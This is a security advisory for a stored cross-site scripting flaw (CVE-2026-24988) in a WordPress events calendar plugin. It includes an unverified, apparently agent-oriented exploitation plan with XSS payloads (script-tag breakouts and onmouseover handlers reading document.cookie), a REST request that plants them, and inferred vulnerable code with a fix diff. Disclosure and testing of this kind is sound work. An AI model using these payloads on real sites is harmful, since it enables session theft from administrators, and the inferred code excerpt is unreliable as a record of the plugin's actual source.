CVE-2026-24988

The Events Calendar Shortcode & Block <= 3.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.1.2
Patched in
6d
Time to patch

Description

The The Events Calendar Shortcode & Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.1.1
PublishedFebruary 4, 2026
Last updatedFebruary 9, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2026-24988**, a Stored Cross-Site Scripting (XSS) vulnerability in "The Events Calendar Shortcode & Block" plugin. --- ### 1. Vulnerability Summary The vulnerability exists in the way the plugin processes and renders attributes within its shortcodes (primarily `[ec…

Show full research plan

This research plan targets CVE-2026-24988, a Stored Cross-Site Scripting (XSS) vulnerability in "The Events Calendar Shortcode & Block" plugin.


1. Vulnerability Summary

The vulnerability exists in the way the plugin processes and renders attributes within its shortcodes (primarily [ecs-list-events]) and Gutenberg blocks. Specifically, attributes provided by a user (Contributor level or higher) are stored in the post content and subsequently rendered in the frontend or backend without sufficient sanitization or output escaping. This allows an attacker to "break out" of HTML attributes or tags to execute arbitrary JavaScript.

2. Attack Vector Analysis

  • Endpoint: WordPress Post Editor (Gutenberg or Classic) / wp-json/wp/v2/posts.
  • Vulnerable Component: The shortcode processing logic for [ecs-list-events] and the corresponding block renderer.
  • HTTP Parameter: The content parameter of a post (containing the shortcode) or the attributes JSON in a Gutenberg block.
  • Authentication: Authenticated, Contributor role or higher. Contributors can create posts and use shortcodes but cannot publish them. However, the XSS will execute for an Administrator previewing the post.
  • Preconditions: The plugin "The Events Calendar Shortcode & Block" and its dependency "The Events Calendar" must be active.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode in the main plugin file or an includes file:
    add_shortcode( 'ecs-list-events', array( $this, 'render_shortcode' ) );
  2. Parsing: When a post is viewed or previewed, do_shortcode() calls the callback. The callback uses shortcode_atts() to merge user input with defaults:
    $atts = shortcode_atts( $defaults, $atts, 'ecs-list-events' );
  3. The Sink: The $atts array is used to build HTML. If an attribute like design, view, or limit is used directly in an HTML string without esc_attr() or esc_html(), XSS occurs:
    $output .= '<div class="ecs-events-list ' . $atts['design'] . '">'; // VULNERABLE

4. Nonce Acquisition Strategy

This vulnerability does not require a specific plugin nonce because it exploits the standard post creation/editing flow.

  1. The agent will log in as a Contributor.
  2. The agent will use the standard WordPress REST API or the admin interface to create/edit a post.
  3. The WordPress REST API requires a _wpnonce for requests, which can be extracted from the wp-admin dashboard or via browser_eval("wpApiSettings.nonce").

5. Exploitation Strategy

The goal is to inject a payload into a shortcode attribute that executes when the post is viewed.

Step 1: Identify Vulnerable Attributes
We will test common attributes for the [ecs-list-events] shortcode: design, limit, order, orderby, view.

Step 2: Construct Payloads

  • Attribute Breakout (if injected in class/id): design='"><script>alert(document.domain)</script>'
  • Event Handler Injection: limit='1" onmouseover="alert(1)" style="display:block;width:100%;height:100px;"'

Step 3: Execute HTTP Request (as Contributor)
The agent will create a post containing the payload.

  • Method: POST
  • URL: http://localhost:8080/wp-json/wp/v2/posts
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [extracted_nonce]
  • Body:
{
  "title": "XSS Test",
  "content": "[ecs-list-events design='\" onmouseover=\"alert(document.cookie)\" style=\"position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;\" ']",
  "status": "draft"
}

Step 4: Trigger the XSS
Navigate to the post preview URL (returned in the REST response) using browser_navigate.

6. Test Data Setup

  1. Users:
    • contributor_user (Role: Contributor)
    • admin_user (Role: Administrator)
  2. Dependencies: Ensure "The Events Calendar" (slug: the-events-calendar) is installed and active, as this plugin is an extension of it.
  3. Content: Create at least one dummy event in "The Events Calendar" so the shortcode actually attempts to render output.
    • wp event create --post_title="Dummy Event" --post_status=publish

7. Expected Results

  • The HTTP request should return 201 Created.
  • The HTML of the post preview should contain the unescaped payload:
    <div class="ecs-events-list " onmouseover="alert(document.cookie)" ...
  • In the browser context, the alert or a custom window.exposed variable should be triggered.

8. Verification Steps

  1. Database Check: Use WP-CLI to verify the content was saved exactly as sent:
    wp post get [ID] --field=post_content
  2. Frontend Inspection: Use http_request (GET) on the post URL and grep for the raw payload:
    http_request("GET", "http://localhost:8080/?p=[ID]&preview=true")
    Look for: onmouseover="alert(document.cookie)"

9. Alternative Approaches

  • Gutenberg Block: If the shortcode is sanitized but the block is not, use the Block Editor format:
    <!-- wp:the-events-calendar-shortcode/block {"design":"\" onmouseover=\"alert(1)"} /-->
    
  • Different Attributes: If design is sanitized, try title, message, or extraclass (common identifiers in this plugin's versions).
  • CSS Injection: If <script> is blocked but attributes are not, use style="background:url(javascript:alert(1))".
Research Findings
Static analysis — not yet PoC-verified

Summary

The Events Calendar Shortcode & Block plugin is vulnerable to Stored Cross-Site Scripting via the ecs-list-events shortcode and its corresponding Gutenberg block. Authenticated attackers with Contributor-level permissions can inject malicious scripts into shortcode attributes like 'design' or 'limit', which execute when an administrator or visitor views the affected post.

Vulnerable Code

// Inferred from research plan: Attribute usage in the shortcode rendering callback
// File: includes/class-ecs-shortcode-renderer.php (approximate location)

public function render_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'design' => 'default',
        'limit' => '5',
        'view' => 'list'
    ), $atts, 'ecs-list-events' );

    // The vulnerability: Concatenating attributes directly into the HTML string
    $output = '<div class="ecs-events-list ' . $atts['design'] . '">';
    $output .= '<span class="ecs-limit">' . $atts['limit'] . '</span>';

    // ... remainder of the rendering logic
    return $output;
}

Security Fix

--- a/includes/class-ecs-shortcode-renderer.php
+++ b/includes/class-ecs-shortcode-renderer.php
@@ -10,7 +10,7 @@
     ), $atts, 'ecs-list-events' );
 
-    $output = '<div class="ecs-events-list ' . $atts['design'] . '">';
-    $output .= '<span class="ecs-limit">' . $atts['limit'] . '</span>';
+    $output = '<div class="ecs-events-list ' . esc_attr( $atts['design'] ) . '">';
+    $output .= '<span class="ecs-limit">' . esc_html( $atts['limit'] ) . '</span>';
 
     return $output;

Exploit Outline

1. Authentication: Log in to the WordPress site as a user with at least Contributor-level privileges (allows creating and editing posts). 2. Payload Construction: Create a new post or edit an existing draft. 3. Shortcode Injection: Insert the [ecs-list-events] shortcode into the post content, using a malicious payload for an attribute that will break out of the HTML tag. Example: [ecs-list-events design='" onmouseover="alert(document.cookie)" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;" '] 4. Alternative (Gutenberg): If using the Block Editor, use the plugin's block and inject the payload into the 'design' or 'view' attribute within the JSON-encoded block comment. 5. Trigger: Save the post as a draft and preview it, or wait for an Administrator to view/preview the post. The unescaped attribute will be rendered in the HTML, causing the JavaScript payload to execute in the viewer's browser.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.